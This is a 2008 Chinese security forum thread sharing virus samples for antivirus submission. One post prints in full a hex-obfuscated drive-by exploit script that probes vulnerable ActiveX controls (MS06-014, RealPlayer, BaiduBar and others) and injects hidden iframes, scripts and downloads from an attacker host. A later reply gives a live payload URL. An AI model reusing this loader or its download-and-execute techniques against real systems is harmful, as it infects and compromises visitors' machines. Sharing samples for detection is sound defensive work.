质量很高的SWF

显示全部楼层 · 发表于 2008-7-10 23:25:30

整理了一下
一共是3个
大多数杀毒软件不报
请各位上报
密码:virus

[ 本帖最后由 aarwwefdds 于 2008-7-11 16:51 编辑 ]

显示全部楼层 · 发表于 2008-7-10 23:33:39

try{var e;
var ado=(document.createElement("object"));
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
if(e!="[object Error]"){
document.write("<script src=http:\/\/user1.12-52.net\/ms06014.js><\/script>")}
else{
try{var f;
var Flashver = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9");}
catch(f){};
finally{if(f!="[object Error]"){
if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
{
document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,19,0" width="0" height="0" align="middle">');
document.write('<param name="allowScriptAccess" value="sameDomain">');
document.write('<param name="movie" value="http://user1.12-52.net/versionie.swf">');
document.write('<param name="quality" value="high">');
document.write('<param name="bgcolor" value="#ffffff">');
document.write('<embed src="http://user1.12-52.net/versionie.swf">');
document.write('</object>');
}else{document.write("<EMBED src=http://user1.12-52.net/versionff.swf width=0 height=0>")}}}
try{var g;
var storm=new ActiveXObject("\x55\x55\x55\x50\x47\x52\x41\x44\x45\x2e\x55\x55\x55\x70\x67\x72\x61\x64\x65\x43\x74\x72\x6c\x2e\x31");}
catch(g){};
finally{if(g!="[object Error]"){
var url="http://user1.12-52.net/";
storm=(document.createElement("\x6f\x62\x6a\x65\x63\x74"));
ActivePerl="\x2d\x31\x43\x35\x39\x2d\x34\x42\x42\x42\x2d\x38\x45\x38";
getSpraySlide="\x31\x2d\x36\x45\x38\x33\x46\x38\x32\x43\x38\x31\x33\x42";
helloworld2Address="\x63\x6c\x73\x69\x64\x3a\x32\x43\x41\x43\x44\x37\x42\x42";
storm.setAttribute("\x63\x6c\x61\x73\x73\x69\x64",helloworld2Address+ActivePerl+getSpraySlide)
storm["\x55\x70\x64\x61\x74\x65"]("\\Program Files\\Common Files\\uusee\" ,url+"\x55\x55\x2e\x69\x6e\x69","",1)}}
try{var h;
var glworld=new ActiveXObject("\x47\x4c\x49\x45\x44\x6f\x77\x6e\x2e\x49\x45\x44\x6f\x77\x6e\x2e\x31");}
catch(h){};
finally{if(h!="[object Error]"){
document.write('<iframe style=display:none src="http://user1.12-52.net/GLWORLD.html"></iframe>')}}
try{var i;
var real=new ActiveXObject("IERPCtl.IERPCtl.1");}
catch(i){};
finally{if(i!="[object Error]"){
if(new ActiveXObject("IERPCtl.IERPCtl.1").PlayerProperty("PRODUCTVERSION")<="6.0.14.552")
{document.write('<sCrIpT LAnGuAgE="jAvAsCrIpT" src=http:\/\/user1.12-52.net\/real.js><\/script>')}
else{document.write('<iframe style=display:none src="http://user1.12-52.net/Real.html"></iframe>')}}}
try{var j;
var Baidu=new ActiveXObject("BaiduBar.Tool");}
catch(j){};
finally{if(j!="[object Error]"){
Baidu["\x44\x6c\x6f\x61\x64\x44\x53"]("http://user1.12-52.net/Baidu.cab", "Baidu.exe", 0)}}
if(f=="[object Error]" && g=="[object Error]" && h=="[object Error]" && i=="[object Error]")
{
try{if(new ActiveXObject("DPClient.Vod"))document.write('<iframe width=100 height=0 src=http://user1.12-52.net/Thunder.html></iframe>')}catch(e){}
}}}

复制代码

显示全部楼层 · 发表于 2008-7-10 23:33:40

显示全部楼层 · 发表于 2008-7-10 23:34:57

为什么呢？
我没说NOD32杀不出来啊？

显示全部楼层 · 发表于 2008-7-10 23:35:37

显示全部楼层 · 发表于 2008-7-10 23:37:51

看你的签名有点伤感！突然间连下载的兴趣都失去了，不是杀不出杀得出的问题。

显示全部楼层 · 发表于 2008-7-11 11:04:41

[code]FWS 0
D C

显示全部楼层 · 发表于 2008-7-11 11:05:09

真够无奈的了…
无辜…

显示全部楼层 · 发表于 2008-7-11 11:46:43

过不了小红伞，不是很厉害的病毒，呵呵

显示全部楼层 · 发表于 2008-7-11 16:54:34

还有一个过了红伞呢
http://user1.12-52.net/versionff.swf

[病毒样本] 质量很高的SWF

本帖子中包含更多资源

看楼主的签名，我就不浪费带宽了

回复 3楼 aerbeisi 的帖子

本帖子中包含更多资源

回复 4楼 aarwwefdds 的帖子

回复 9楼不是天才的帖子

[病毒样本] 质量很高的SWF

本帖子中包含更多资源

看楼主的签名，我就不浪费带宽了

回复 3楼 aerbeisi 的帖子

本帖子中包含更多资源

回复 4楼 aarwwefdds 的帖子

回复 9楼 不是天才 的帖子

回复 9楼不是天才的帖子